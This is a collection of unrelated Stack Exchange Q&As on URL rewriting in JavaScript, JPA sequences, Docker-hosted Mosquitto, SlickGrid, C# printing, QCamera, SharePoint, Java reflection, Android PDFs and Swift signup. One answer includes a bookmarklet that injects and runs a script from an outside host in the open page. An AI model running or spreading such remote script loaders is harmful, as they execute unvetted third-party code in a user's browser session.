text:
Q: Javascript: REGEX to change all relative Urls to Absolute I'm currently creating a Node.js webscraper/proxy, but I'm having trouble parsing relative Urls found in the scripting part of the source, I figured REGEX would do the trick.
Although it is unknown how I would achieve this.
Is there anyway I can go about this?
Also I'm open to an easier way of doing this, as I'm quite baffle about how other proxies parse websites. I figured that most are just glorified site scrapers that can read a site's source a relay all links/forms back to the proxy.

A: Advanced HTML string replacement functions
Note for OP, because he requested such a function: Change base_url to your proxy's basE URL in order to achieve the desired results.
Two functions will be shown below (the usage guide is contained within the code). Make sure that you don't skip any part of the explanation of this answer to fully understand the function's behaviour.

*

*rel_to_abs(urL) - This function returns absolute URLs. When an absolute URL with a commonly trusted protocol is passed, it will immediately return this URL. Otherwise, an absolute URL is generated from the base_url and the function argument. Relative URLs are correctly parsed (../ ; ./ ; . ; //).

*replace_all_rel_by_abs - This function will parse all occurences of URLs which have a significant meaning in HTML, such as CSS url(), links and external resources. See the code for a full list of parsed instances. See this answer for an adjusted implementation to sanitise HTML strings from an external source (to embed in the document).

*Test case (at the bottom of the answer): To test the effectiveness of the function, simply paste the bookmarklet at the location's bar.

rel_to_abs - Parsing relative URLs
function rel_to_abs(url){
    /* Only accept commonly trusted protocols:
     * Only data-image URLs are accepted, Exotic flavours (escaped slash,
     * html-entitied characters) are not supported to keep the function fast */
  if(/^(https?|file|ftps?|mailto|javascript|data:image\/[^;]{2,9};):/i.test(url))
         return url; //Url is already absolute

    var base_url = location.href.match(/^(.+)\/?(?:#.+)?$/)[0]+"/";
    if(url.substring(0,2) == "//")
        return location.protocol + url;
    else if(url.charAt(0) == "/")
        return location.protocol + "//" + location.host + url;
    else if(url.substring(0,2) == "./")
        url = "." + url;
    else if(/^\s*$/.test(url))
        return ""; //Empty = Return nothing
    else url = "../" + url;

    url = base_url + url;
    var i=0
    while(/\/\.\.\//.test(url = url.replace(/[^\/]+\/+\.\.\//g,"")));

    /* Escape certain characters to prevent XSS */
    url = url.replace(/\.$/,"").replace(/\/\./g,"").replace(/"/g,"%22")
            .replace(/'/g,"%27").replace(/</g,"%3C").replace(/>/g,"%3E");
    return url;
}

Cases / examples:

*

*http://foo.bar. Already an absolute URL, thus returned immediately.

*/doo Relative to the root: Returns the current root + provided relative URL.

*./meh Relative to the current directory.

*../booh Relative to the parent directory.

The function converts relative paths to ../, and performs a search-and-replace (http://domain/sub/anything-but-a-slash/../me to http://domain/sub/me).

replace_all_rel_by_abs - Convert all relevant occurences of URLs
URLs inside script instances (<script>, event handlers are not replaced, because it's near-impossible to create a fast-and-secure filter to parse JavaScript.

This script is served with some comments inside. Regular Expressions are dynamically created, because an individual RE can have a size of 3000 characters. <meta http-equiv=refresh content=.. > can be obfuscated in various ways, hence the size of the RE.
function replace_all_rel_by_abs(html){
    /*HTML/XML Attribute may not be prefixed by these characters (common
       attribute chars.  This list is not complete, but will be sufficient
       for this function (see http://www.w3.org/TR/REC-xml/#NT-NameChar). */
    var att = "[^-a-z0-9:._]";

    var entityEnd = "(?:;|(?!\\d))";
    var ents = {" ":"(?:\\s| ?|&#0*32"+entityEnd+"|&#x0*20"+entityEnd+")",
                "(":"(?:\\(|&#0*40"+entityEnd+"|&#x0*28"+entityEnd+")",
                ")":"(?:\\)|&#0*41"+entityEnd+"|&#x0*29"+entityEnd+")",
                ".":"(?:\\.|&#0*46"+entityEnd+"|&#x0*2e"+entityEnd+")"};
                /* Placeholders to filter obfuscations */
    var charMap = {};
    var s = ents[" "]+"*"; //Short-hand for common use
    var any = "(?:[^>\"']*(?:\"[^\"]*\"|'[^']*'))*?[^>]*";
    /* ^ Important: Must be pre- and postfixed by < and >.
     *   This RE should match anything within a tag!  */

    /*
      @name ae
      @description  Converts a given string in a sequence of the original
                      input and the HTML entity
      @param String string  String to convert
      */
    function ae(string){
        var all_chars_lowercase = string.toLowerCase();
        if(ents[string]) return ents[string];
        var all_chars_uppercase = string.toUpperCase();
        var RE_res = "";
        for(var i=0; i<string.length; i++){
            var char_lowercase = all_chars_lowercase.charAt(i);
            if(charMap[char_lowercase]){
                RE_res += charMap[char_lowercase];
                continue;
            }
            var char_uppercase = all_chars_uppercase.charAt(i);
            var RE_sub = [char_lowercase];
            RE_sub.push("&#0*" + char_lowercase.charCodeAt(0) + entityEnd);
            RE_sub.push("&#x0*" + char_lowercase.charCodeAt(0).toString(16) + entityEnd);
            if(char_lowercase != char_uppercase){
                /* Note: RE ignorecase flag has already been activated */
                RE_sub.push("&#0*" + char_uppercase.charCodeAt(0) + entityEnd);
                RE_sub.push("&#x0*" + char_uppercase.charCodeAt(0).toString(16) + entityEnd);
            }
            RE_sub = "(?:" + RE_sub.join("|") + ")";
            RE_res += (charMap[char_lowercase] = RE_sub);
        }
        return(ents[string] = RE_res);
    }

    /*
      @name by
      @description  2nd argument for replace().
      */
    function by(match, group1, group2, group3){
        /* Note that this function can also be used to remove links:
         * return group1 + "javascript://" + group3; */
        return group1 + rel_to_abs(group2) + group3;
    }
    /*
      @name by2
      @description  2nd argument for replace(). Parses relevant HTML entities
      */
    var slashRE = new RegExp(ae("/"), 'g');
    var dotRE = new RegExp(ae("."), 'g');
    function by2(match, group1, group2, group3){
        /*Note that this function can also be used to remove links:
         * return group1 + "javascript://" + group3; */
        group2 = group2.replace(slashRE, "/").replace(dotRE, ".");
        return group1 + rel_to_abs(group2) + group3;
    }
    /*
      @name cr
      @description            Selects a HTML element and performs a
                                search-and-replace on attributes
      @param String selector  HTML substring to match
      @param String attribute RegExp-escaped; HTML element attribute to match
      @param String marker    Optional RegExp-escaped; marks the prefix
      @param String delimiter Optional RegExp escaped; non-quote delimiters
      @param String end       Optional RegExp-escaped; forces the match to end
                              before an occurence of <end>
     */
    function cr(selector, attribute, marker, delimiter, end){
        if(typeof selector == "string") selector = new RegExp(selector, "gi");
        attribute = att + attribute;
        marker = typeof marker == "string" ? marker : "\\s*=\\s*";
        delimiter = typeof delimiter == "string" ? delimiter : "";
        end = typeof end == "string" ? "?)("+end : ")(";
        var re1 = new RegExp('('+attribute+marker+'")([^"'+delimiter+']+'+end+')', 'gi');
        var re2 = new RegExp("("+attribute+marker+"')([^'"+delimiter+"]+"+end+")", 'gi');
        var re3 = new RegExp('('+attribute+marker+')([^"\'][^\\s>'+delimiter+']*'+end+')', 'gi');
        html = html.replace(selector, function(match){
            return match.replace(re1, by).replace(re2, by).replace(re3, by);
        });
    }
    /*
      @name cri
      @description            Selects an attribute of a HTML element, and
                                performs a search-and-replace on certain values
      @param String selector  HTML element to match
      @param String attribute RegExp-escaped; HTML element attribute to match
      @param String front     RegExp-escaped; attribute value, prefix to match
      @param String flags     Optional RegExp flags, default "gi"
      @param String delimiter Optional RegExp-escaped; non-quote delimiters
      @param String end       Optional RegExp-escaped; forces the match to end
                                before an occurence of <end>
     */
    function cri(selector, attribute, front, flags, delimiter, end){
        if(typeof selector == "string") selector = new RegExp(selector, "gi");
        attribute = att + attribute;
        flags = typeof flags == "string" ? flags : "gi";
        var re1 = new RegExp('('+attribute+'\\s*=\\s*")([^"]*)', 'gi');
        var re2 = new RegExp("("+attribute+"\\s*=\\s*')([^']+)", 'gi');
        var at1 = new RegExp('('+front+')([^"]+)(")', flags);
        var at2 = new RegExp("("+front+")([^']+)(')", flags);
        if(typeof delimiter == "string"){
            end = typeof end == "string" ? end : "";
            var at3 = new RegExp("("+front+")([^\"'][^"+delimiter+"]*" + (end?"?)("+end+")":")()"), flags);
            var handleAttr = function(match, g1, g2){return g1+g2.replace(at1, by2).replace(at2, by2).replace(at3, by2)};
        } else {
            var handleAttr = function(match, g1, g2){return g1+g2.replace(at1, by2).replace(at2, by2)};
    }
        html = html.replace(selector, function(match){
             return match.replace(re1, handleAttr).replace(re2, handleAttr);
        });
    }

    /* <meta http-equiv=refresh content="  ; url= " > */
    cri("<meta"+any+att+"http-equiv\\s*=\\s*(?:\""+ae("refresh")+"\""+any+">|'"+ae("refresh")+"'"+any+">|"+ae("refresh")+"(?:"+ae(" ")+any+">|>))", "content", ae("url")+s+ae("=")+s, "i");

    cr("<"+any+att+"href\\s*="+any+">", "href"); /* Linked elements */
    cr("<"+any+att+"src\\s*="+any+">", "src"); /* Embedded elements */

    cr("<object"+any+att+"data\\s*="+any+">", "data"); /* <object data= > */
    cr("<applet"+any+att+"codebase\\s*="+any+">", "codebase"); /* <applet codebase= > */

    /* <param name=movie value= >*/
    cr("<param"+any+att+"name\\s*=\\s*(?:\""+ae("movie")+"\""+any+">|'"+ae("movie")+"'"+any+">|"+ae("movie")+"(?:"+ae(" ")+any+">|>))", "value");

    cr(/<style[^>]*>(?:[^"']*(?:"[^"]*"|'[^']*'))*?[^'"]*(?:<\/style|$)/gi, "url", "\\s*\\(\\s*", "", "\\s*\\)"); /* <style> */
    cri("<"+any+att+"style\\s*="+any+">", "style", ae("url")+s+ae("(")+s, 0, s+ae(")"), ae(")")); /*< style=" url(...) " > */
    return html;
}

A short summary of the private functions:

*

*rel_to_abs(url) - Converts relative / unknown URLs to absolute URLs

*replace_all_rel_by_abs(html) - Replaces all relevant occurences of URLs within a string of HTML by absolute URLs.

*

*ae - Any Entity - Returns a RE-pattern to deal with HTML entities.

*by - replace by - This short function request the actual url replace (rel_to_abs). This function may be called hundreds, if not thousand times. Be careful to not add a slow algorithm to this function (customisation).

*cr - Create Replace - Creates and executes a search-and-replace.Example: href="..." (within any HTML tag).

*cri - Create Replace Inline - Creates and executes a search-and-replace.Example: url(..) within the all style attribute within HTML tags.

Test case
Open any page, and paste the following bookmarklet in the location bar:
javascript:void(function(){var s=document.createElement("script");s.src="http://rob.lekensteyn.nl/rel_to_abs.js";document.body.appendChild(s)})();

The injected code contains the two functions, as defined above, plus the test case, shown below. Note: The test case does not modify the HTML of the page, but shows the parsed results in a textarea (optionally).
var t=(new Date).getTime();
  var result = replace_all_rel_by_abs(document.documentElement.innerHTML);
  if(confirm((new Date).getTime()-t+" milliseconds to execute\n\nPut results in new textarea?")){
    var txt = document.createElement("textarea");
    txt.style.cssText = "position:fixed;top:0;left:0;width:100%;height:99%"
    txt.ondblclick = function(){this.parentNode.removeChild(this)}
    txt.value = result;
    document.body.appendChild(txt);
}

See also:

*

*Answer: Parsing and sanitising HTML strings

A: A reliable way to convert urls from relative to absolute is to use the built-in url module.
Example:
var url = require('url');
url.resolve("http://www.example.org/foo/bar/", "../baz/qux.html");

>> gives 'http://www.example.org/foo/baz/qux.html'

A: This is Rob W answer "Advanced HTML string replacement functions" in current thread plus some code re-factoring from me to make JSLint happy.
I should post it as answer's comment but I don't have enough reputation points.

/*jslint browser: true */
/*jslint regexp: true */
/*jslint unparam: true*/
/*jshint strict: false */

/**
 * convertRelToAbsUrl
 *
 * https://stackoverflow.com/a/7544757/1983903
 *
 * @param  {String} url
 * @return {String} updated url
 */
function convertRelToAbsUrl(url) {
    var baseUrl = null;

    if (/^(https?|file|ftps?|mailto|javascript|data:image\/[^;]{2,9};):/i.test(url)) {
        return url; // url is already absolute
    }

    baseUrl = location.href.match(/^(.+)\/?(?:#.+)?$/)[0] + '/';

    if (url.substring(0, 2) === '//') {
        return location.protocol + url;
    }
    if (url.charAt(0) === '/') {
        return location.protocol + '//' + location.host + url;
    }
    if (url.substring(0, 2) === './') {
        url = '.' + url;
    } else if (/^\s*$/.test(url)) {
        return ''; // empty = return nothing
    }

    url = baseUrl + '../' + url;

    while (/\/\.\.\//.test(url)) {
        url = url.replace(/[^\/]+\/+\.\.\//g, '');
    }

    url = url.replace(/\.$/, '').replace(/\/\./g, '').replace(/"/g, '%22')
            .replace(/'/g, '%27').replace(/</g, '%3C').replace(/>/g, '%3E');

    return url;
}

/**
 * convertAllRelativeToAbsoluteUrls
 *
 * https://stackoverflow.com/a/7544757/1983903
 *
 * @param  {String} html
 * @return {String} updated html
 */
function convertAllRelativeToAbsoluteUrls(html) {
    var me = this,
        att = '[^-a-z0-9:._]',
        entityEnd = '(?:;|(?!\\d))',
        ents = {
            ' ' : '(?:\\s| ?|&#0*32' + entityEnd + '|&#x0*20' + entityEnd + ')',
            '(' : '(?:\\(|&#0*40' + entityEnd + '|&#x0*28' + entityEnd + ')',
            ')' : '(?:\\)|&#0*41' + entityEnd + '|&#x0*29' + entityEnd + ')',
            '.' : '(?:\\.|&#0*46' + entityEnd + '|&#x0*2e' + entityEnd + ')'
        },
        charMap = {},
        s = ents[' '] + '*', // short-hand for common use
        any = '(?:[^>\"\']*(?:\"[^\"]*\"|\'[^\']*\'))*?[^>]*',
        slashRE = null,
        dotRE = null;

    function ae(string) {
        var allCharsLowerCase = string.toLowerCase(),
            allCharsUpperCase = string.toUpperCase(),
            reRes = '',
            charLowerCase = null,
            charUpperCase = null,
            reSub = null,
            i = null;

        if (ents[string]) {
            return ents[string];
        }

        for (i = 0; i < string.length; i++) {
            charLowerCase = allCharsLowerCase.charAt(i);
            if (charMap[charLowerCase]) {
                reRes += charMap[charLowerCase];
                continue;
            }
            charUpperCase = allCharsUpperCase.charAt(i);
            reSub = [charLowerCase];
            reSub.push('&#0*' + charLowerCase.charCodeAt(0) + entityEnd);
            reSub.push('&#x0*' + charLowerCase.charCodeAt(0).toString(16) + entityEnd);

            if (charLowerCase !== charUpperCase) {
                reSub.push('&#0*' + charUpperCase.charCodeAt(0) + entityEnd);
                reSub.push('&#x0*' + charUpperCase.charCodeAt(0).toString(16) + entityEnd);
            }
            reSub = '(?:' + reSub.join('|') + ')';
            reRes += (charMap[charLowerCase] = reSub);
        }
        return (ents[string] = reRes);
    }

    function by(match, group1, group2, group3) {
        return group1 + me.convertRelToAbsUrl(group2) + group3;
    }

    slashRE = new RegExp(ae('/'), 'g');
    dotRE = new RegExp(ae('.'), 'g');

    function by2(match, group1, group2, group3) {
        group2 = group2.replace(slashRE, '/').replace(dotRE, '.');
        return group1 + me.convertRelToAbsUrl(group2) + group3;
    }

    function cr(selector, attribute, marker, delimiter, end) {
        var re1 = null,
            re2 = null,
            re3 = null;

        if (typeof selector === 'string') {
            selector = new RegExp(selector, 'gi');
        }

        attribute = att + attribute;
        marker = typeof marker === 'string' ? marker : '\\s*=\\s*';
        delimiter = typeof delimiter === 'string' ? delimiter : '';
        end = typeof end === 'string' ? '?)(' + end : ')(';

        re1 = new RegExp('(' + attribute + marker + '")([^"' + delimiter + ']+' + end + ')', 'gi');
        re2 = new RegExp('(' + attribute + marker + '\')([^\'' + delimiter + ']+' + end + ')', 'gi');
        re3 = new RegExp('(' + attribute + marker + ')([^"\'][^\\s>' + delimiter + ']*' + end + ')', 'gi');

        html = html.replace(selector, function (match) {
            return match.replace(re1, by).replace(re2, by).replace(re3, by);
        });
    }

    function cri(selector, attribute, front, flags, delimiter, end) {
        var re1 = null,
            re2 = null,
            at1 = null,
            at2 = null,
            at3 = null,
            handleAttr = null;

        if (typeof selector === 'string') {
            selector = new RegExp(selector, 'gi');
        }

        attribute = att + attribute;
        flags = typeof flags === 'string' ? flags : 'gi';
        re1 = new RegExp('(' + attribute + '\\s*=\\s*")([^"]*)', 'gi');
        re2 = new RegExp("(" + attribute + "\\s*=\\s*')([^']+)", 'gi');
        at1 = new RegExp('(' + front + ')([^"]+)(")', flags);
        at2 = new RegExp("(" + front + ")([^']+)(')", flags);

        if (typeof delimiter === 'string') {
            end = typeof end === 'string' ? end : '';
            at3 = new RegExp('(' + front + ')([^\"\'][^' + delimiter + ']*' + (end ? '?)(' + end + ')' : ')()'), flags);
            handleAttr = function (match, g1, g2) {
                return g1 + g2.replace(at1, by2).replace(at2, by2).replace(at3, by2);
            };
        } else {
            handleAttr = function (match, g1, g2) {
                return g1 + g2.replace(at1, by2).replace(at2, by2);
            };
        }
        html = html.replace(selector, function (match) {
            return match.replace(re1, handleAttr).replace(re2, handleAttr);
        });
    }

    cri('<meta' + any + att + 'http-equiv\\s*=\\s*(?:\"' + ae('refresh')
        + '\"' + any + '>|\'' + ae('refresh') + '\'' + any + '>|' + ae('refresh')
        + '(?:' + ae(' ') + any + '>|>))', 'content', ae('url') + s + ae('=') + s, 'i');

    cr('<' + any + att + 'href\\s*=' + any + '>', 'href'); /* Linked elements */
    cr('<' + any + att + 'src\\s*=' + any + '>', 'src'); /* Embedded elements */

    cr('<object' + any + att + 'data\\s*=' + any + '>', 'data'); /* <object data= > */
    cr('<applet' + any + att + 'codebase\\s*=' + any + '>', 'codebase'); /* <applet codebase= > */

    /* <param name=movie value= >*/
    cr('<param' + any + att + 'name\\s*=\\s*(?:\"' + ae('movie') + '\"' + any + '>|\''
        + ae('movie') + '\'' + any + '>|' + ae('movie') + '(?:' + ae(' ') + any + '>|>))', 'value');

    cr(/<style[^>]*>(?:[^"']*(?:"[^"]*"|'[^']*'))*?[^'"]*(?:<\/style|$)/gi,
        'url', '\\s*\\(\\s*', '', '\\s*\\)'); /* <style> */
    cri('<' + any + att + 'style\\s*=' + any + '>', 'style',
        ae('url') + s + ae('(') + s, 0, s + ae(')'), ae(')')); /*< style=" url(...) " > */

    return html;
}

A: If you use a regex to find all non-absolute URLs, you can then just prefix them with the current URL and that should be it.
The URLs you need to fix would be ones which don't start either with a / or http(s):// (or other protocol markers, if you care about them)
As an example, let's say you're scraping http://www.example.com/. If you encounter a relative URL, let's say foo/bar, you would simply prefix the URL being scraped to it like so: http://www.example.com/foo/bar
For a regex to scrape the URLs from the page, there are probably plenty of good ones available if you google a bit so I'm not going to start inventing a poor one here :)

A: From a comment by Rob W above about the base tag I wrote an injection function:
function injectBase(html, base) {
  // Remove any <base> elements inside <head>
  html = html.replace(/(<[^>/]*head[^>]*>)[\s\S]*?(<[^>/]*base[^>]*>)[\s\S]*?(<[^>]*head[^>]*>)/img, "$1 $3");

  // Add <base> just before </head>
  html = html.replace(/(<[^>/]*head[^>]*>[\s\S]*?)(<[^>]*head[^>]*>)/img, "$1 " + base + " $2");
  return(html);
}


text:
Q: How to generate a sequence number using JPA and MySQL? I'm using JPA and mysql and want to generate a sequence number. All examples and references i find point to using @TableGenerator, and this looks like it would suit my needs.
However in all examples i find it is used with the context of an @Entity for key generation in the entity.
But i don't want the sequence number for any @Entity. I just want to get an increasing number for use in multiple other processes.  Is it possible to use @TableGenerator outside the context of an @Entity? Or do i just have to do it all myself in some old fashioned way?
Thanks

A: MySQL provides this capability via the UUID_SHORT() function.
To see it in action:
SELECT UUID_SHORT(); # then repeat.

The function provides a monotonic counter that returns a 64-bit unsigned integer that increments by 1 each time it is called.  It can generate 16M values per second, for every second the server has been running, without duplicates.
When the server restarts, the counter is reinitialized to a higher value than previously seen.  There are caveats, but they are documented and easily understood.
Each of up to 256 different MySQL servers will generate their own unique sequences, as long as the LSB of eachserver's server id is unique.

redpajama_set_name: RedPajamaStackExchange


text:
Q: Can not connect with mosquitto MQTT brocker inside docker I have a mosquitto mqtt brocker running in docker. I am starting it is a docker compose file. Now I am trying to connect with the broker, it was working locally. When I try to connect as a docker container it is not working although I have changed the host/brocker address from local to compose image name. How can I make it work ?
Here What I have tried
Docker compose ( edited )
version: '3.5'

services:
  db:
    image: postgres
    environment:
      - POSTGRES_USER=postgres
      - POSTGRES_PASSWORD=postgres
    volumes:
       - pgdatapg:/var/lib/postgresql/data
    ports:
      - "5432:5432"
    networks:
      - postgres
    restart: unless-stopped

  mosquitto:
    image: eclipse-mosquitto
    networks:
      - postgres
    ports:
      - "1883:1883"
    volumes:
      - ./conf:/mosquitto/conf
      - ./data:/mosquitto/data
      - ./log:/mosquitto/log

  app:
    restart: always
    build: .
    depends_on:
      - db
    networks:
      - postgres

networks:
  postgres:
    driver: bridge

volumes:
    pgdatapg:

and part of my python
broker = "mosquitto"
port = 1883
topic = "py/mqtt/test"
def connect_mqtt():
    def on_connect(client, userdata, flags, rc):
        if rc == 0:
            print("Connected to MQTT Broker!")
        else:
            print("Failed to connect, return code %d\n", rc)

    client = mqtt_client.Client(client_id)
    client.on_connect = on_connect
    client.connect(broker, port)
    return client

Here is the conf file
persistence true
persistence_location /mosquitto/data/
log_dest file /mosquitto/log/mosquitto.log

listener 1883
## Authentication ##
allow_anonymous false
password_file /mosquitto/conf/mosquitto.conf

I am getting the following error
| ConnectionRefusedError: [Errno 111] Connection refused

A: When running with docker compose, the containers started as services by default are placed on dedicated docker overlay network named after the project (which defaults to the dir name the docker-compose.yml file is held in) e.g. network called foo_default
https://docs.docker.com/compose/networking/
Services are only accessible from other containers that are connected to the same network (and to the host via what ever ports are exposed).
So if you only have mosquitto in the docker-compose.yml then no other containers will be able to connect to it. If you include the container that the python is running in as a service in the compose file then it will be able to connect.
You can also change the networks containers connect to in the compose file.
https://docs.docker.com/compose/networking/#specify-custom-networks
EDIT:
You have forced the mosquitto service to use network_mode: host network so it's not on the same postgres network as the app. Containers can be on multiple networks, but mosquitto should not be bound to the host network to make all this work.
EDIT2:
You are also not setting a username/password in app even though you have require authentication in mosquitto.conf and you are pointing the password file at the config file which just won't work. I suggest you remove the last line of the mosquitto.conf file and set allow_anonymous true.
P.s. I suspect that the mosquitto container currently isn't actually starting due to the last line of the config file.


text:
Q: How to word wrap the header column in Slickgrids I ve recently started working with slickgrids. So getting lots and lots of doubts. How can wordwrap the column headers in slickgrids

A: I solved this by editing 2 css tags:
In slick-default-theme.css:
.slick-header-columns {
    white-space: pre !important;
    height: 45px;
}

The height here is adjustable to your needs. This was good to display 3 lines.
In slick.grid.css, change the height settings on the below tag to 100%:
.slick-header-column.ui-state-default {
    ...
    height: 100%;
    ...
}

Hope this helps!

A: fwiw, the author of slick grid answers this question here:
https://github.com/mleibman/SlickGrid/issues/61

A: I created a custom css class to enable/disable the functionality :
.slickgrid-word-wrap .slick-cell {
    white-space: normal;
    overflow: auto;
}

And then on my div container :

And you can still set the row's height on the SlickGrid configuration like this :
var options = {
            editable: false,
            enableCellNavigation: false,
            autoExpandColumns: false,
            forceFitColumns: false,
            showFooterRow: false,
            explicitInitialization: true,
            multiColumnSort: false,
            rowHeight: 50 // <--- here
        };


text:
Q: Process .Start() runs locally but not on server I have code that I took from How can I send a file document to the printer and have it print?. When I was running this on my machine, it worked flawlessly. Once I put it on a VM for testing, it is no longer printing. I discovered this is probably due to the application not opening Adobe. I have given access to the folder where the PDFs reside in, and changed the security settings in Adobe.
My code:
try
{
  ProcessStartInfo info = new ProcessStartInfo();
  info.Verb = "print";
  info.FileName = @"properFilePath.pdf";
  info.CreateNoWindow = true;
  info.WindowStyle = ProcessWindowStyle.Normal; // so I know Adobe is opening
  TimeSpan tp = new TimeSpan(0, 0, 10); // I thought this did something different than what it really does
  Process p = new Process();
  p.StartInfo = info;
  p.Start();
  p.WaitForInputIdle();
  System.Threading.Thread.Sleep(tp);
  if (false == p.CloseMainWindow())
  {
     p.Kill();
  }
  Message m = new Message() { Msg = "Worked, yo", MsgType = Message.MessageType.Success };
  Logger.Log(m);
  return true;
}
catch (Exception ex)
{
    //I log this I swear
    return false;
}

I'm looking to be pointed in the right direction for solutions/help/answers.
Thanks


text:
Q: Using QCamera with multiple cameras I am trying to show the one camera output on two QLabel widget. However I am not able to do so. I encounter following error.
Graph failed to connect filters -2147024809

However I can see it on one screen not on another. If this is a wrong approach or is it not possible at all?
cM = new QCamera(this);
cM2 = new QCamera(this);
cV = new QCameraViewfinder(this);
cV2 = new QCameraViewfinder(this);
mMenu = new QMenu("Options",this);
cA = new QAction("one camera", this);
cA2 = new QAction("both camera", this);
mMenu->addActions({cA, cA2});
ui->pushButton->setMenu(mMenu);
cM->setViewfinder(cV);
cM2->setViewfinder(cV2);
cBox1 = new QVBoxLayout();
cBox2 = new QVBoxLayout();
cBox1->addWidget(cV);
cBox2->addWidget(cV2);
ui->label->setLayout(cBox1);
ui->label_2->setLayout(cBox2);
connect(cA, &QAction::triggered, [&](){

cM->start();

cM2->start();

A: You need to construct yoru cameras with cameraInfo, otherwise it's not bound to real hardware. https://doc.qt.io/qt-5/qcamera.html
QList<QCameraInfo> cameras = QCameraInfo::availableCameras();
foreach (const QCameraInfo &cameraInfo, cameras)
{
    if (cameraInfo.deviceName() == "mycamera")
        camera = new QCamera(cameraInfo, this);
}


text:
Q: Update one list based on another list I'm new to SharePoint and I'm having trouble understanding how to do something that seems simple.
I have a list People and a list Rooms.
People has columns LastName, FirstName, and Room.
Rooms has columns Number, Space Type, and Occupant. Occupant is a lookup for LastName in People.
I would like SharePoint to auto-populate the Room column in People when Occupant is updated in Rooms. For example, if I enter Doe in Occupant for room number 1, People should show that Doe is in Room 1.
I tried making Room in People a lookup, but that had no effect. I also tried following this question, but nothing happened (not sure if I did it correctly) and read other questions, including this one and others mentioning workflows and events, but I don't know how that would work or how they are implemented. I think I'm using SharePoint 2010 online, but apparently there's no way to find the version?
Is there a way to update one list based on another?

A: if you are using SharePoint online (i.e. if your site URL contains ".sharepoint.com"), then you can use Flows. Please check if you have an option to create flow from the top of your list command bar.

Please check the following tutorial which describes the steps:
Update a secondary SharePoint list using Flow

A: Just now answered similar question, looks like you also have same option.
No direct way to do this, you would need customization. Below are some high level techniques to achieve same.
Using MSFlow - What you need to do is create a flow for your Occupant list when a item is created/updated. In Flow add logic to query list item from People list from based on your column(may be LastName column) which is holding relation ship between this 2 list.  Update People list Room column with room value of current item on which flow is running. Below link will help you get direction on how flow logic should be.
https://powerusers.microsoft.com/t5/Building-Flows/How-to-update-an-item-in-a-SharePoint-list-base-on-the-changes/m-p/101738#M9942
Using Remote event receiver - as you are on SharePoint online you would need to create remote event receiver. Remote event receiver would trigger on you invoice list and you can use CSOM to get/update data in SharePoint list by using same calculation as above
Ref link - https://docs.microsoft.com/en-us/sharepoint/dev/sp-add-ins/create-a-remote-event-receiver-in-sharepoint-add-ins
Customize your invoice list add/update form using content editor web part and use JSOM to get/update data.
How to trigger the click event of the SharePoint OOTB list's new form Save button?
Use custom forms to add/update data in Invoice list, use JSOM and perfrom crud operation based to both list accordingly.
Use PowerApps forms to customize Invoice list and create datasource to budget list, keep a control hidden to user point to balance column in Budget list, write rules to calculate balance - I am not sure how this will work but might be an option.
Feel free to comment if you need more details.
Hope this helps...Happy Coding!!!

A: You could use "Update List Item" action to update value based on "Rooms" list.

And you can run this workflow when item is changed.
About how to create a workflow, you can refer to it.


text:
Q: Can I access private field of widget, text objects? I've already read lots of posts about reflection, and all the examples are just simple access objects of string, double and int, etc.
But, I want to access object like Widget, Text and even self-defining objects.
I've try the same way as string, but it fails.

e.g.
class testPrivate{
    public boolean test()
    {
        return true;
    }

}

class button {
public button(){
    anc=new testPrivate();
}
    private testPrivate anc;

}

public class Testing {

    public static void main(String arg[]) throws Throwable{
    button bt=new button();
    Field field = bt.getClass().getDeclaredField("anc");
    field.setAccessible(true);
    System.out.println(field.test());
    }

}

Here, field.test() in the statement System.out.println(field.test()); fails.

A: Field is a class that refers to a field on a class type, and not any specific instance of that class.
In order to invoke a method, you first need an instance of that class, and then you have to make sure that anc is not null.
Example:
button bt=new button();
Field field = bt.getClass().getDeclaredField("anc");
field.setAccessible(true);

//This sets the field value for the instance "bt"
field.set(bt, new testPrivate());

Then in order to invoke the method, you need to get that object and invoke the method on that object:
//Since field corresponds to "anc" it will get the value
//of that field on whatever object you pass (bt in this example).
testPrivate tp = (testPrivate) field.get(bt);
System.out.println(tp.test());

Also on a stylistic note, classes should start with a capital letter, e.g. button→Button and testPrivate→TestPrivate


text:
Q: How to open pdf file on particular area of the screen in Android I have requirement at which, on my screen header label is there and on the bottom
    of the screen one button is there. I want to show PDFs file between this label
    and button how I will implement this? When I am trying to open PDFs It's taking full
    screen space.
      File file = new File(getFilesDir(), "mypdf.pdf");

        try {
            fis = new FileInputStream(file);
        } catch (FileNotFoundException e1) {
            // TODO Auto-generated catch block
            e1.printStackTrace();
        }
        //System.out.println(file.exists() + "!!");
        //InputStream in = resource.openStream();
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        byte[] buf = new byte[1024];
        try {
            for (int readNum; (readNum = fis.read(buf)) != -1;) {
                bos.write(buf, 0, readNum); //no doubt here is 0
                //Writes len bytes from the specified byte array starting at offset off to this byte array output stream.
                System.out.println("read " + readNum + " bytes,");
            }
        } catch (IOException ex) {
            ex.printStackTrace();
        }
        byte[] bytes = bos.toByteArray();

        //below is the different part
        File someFile = new File("java2.pdf");
        try {
            FileOutputStream fos = new FileOutputStream(someFile);
            fos.write(bytes);
            fos.flush();
            fos.close();
        } catch (FileNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        Intent intent = new Intent(Intent.ACTION_VIEW);
        intent.setDataAndType(
                Uri.parse("file://" + getFilesDir() + "/java2.pdf"),
                "application/pdf");

        startActivity(intent);

A: I didn't try, but you should try to use Fragments in the Ativity you want to show the PDF. From the original site:
Fragments

A Fragment represents a behavior or a portion of user interface in an Activity. You can  combine multiple fragments in a single activity to build a multi-pane UI and reuse a fragments in multiple activities.

Use a single fragment between the button and the header and open PDF on it. Maybe it will help you


text:
Q: sign up/login using swift in xcode I have a project that requires to login and sign up, however I tried so many code methods and there is error.
Please I need someone to help me write those codes.
And yes i'm using Xcode software.
my problem is with import Alamofire
and I have no idea how to get the url address
import UIKit
import Alamofire

class Register: UIViewController, UITextFieldDelegate {

    let URL_USER_REGISTER = ""

    @IBOutlet weak var username: UITextField!
    @IBOutlet weak var password: UITextField!
    @IBOutlet weak var Email: UITextField!
    @IBOutlet weak var signup: UIButton!

    @IBAction func signup(_ sender: UIButton) {

        //creating parameters for the post request
        let parameters: Parameters=[
            "username":textFieldUsername.text!,
            "password":textFieldPassword.text!,
            "email":textFieldEmail.text!

        ]
    }
    //Sending http post request
    Alamofire.request(URL_USER_REGISTER, method: .post, parameters: parameters).responseJSON
    {
    response in
    //printing response
    print(response)

    //getting the json value from the server
    if let result = response.result.value {

    //converting it as NSDictionary
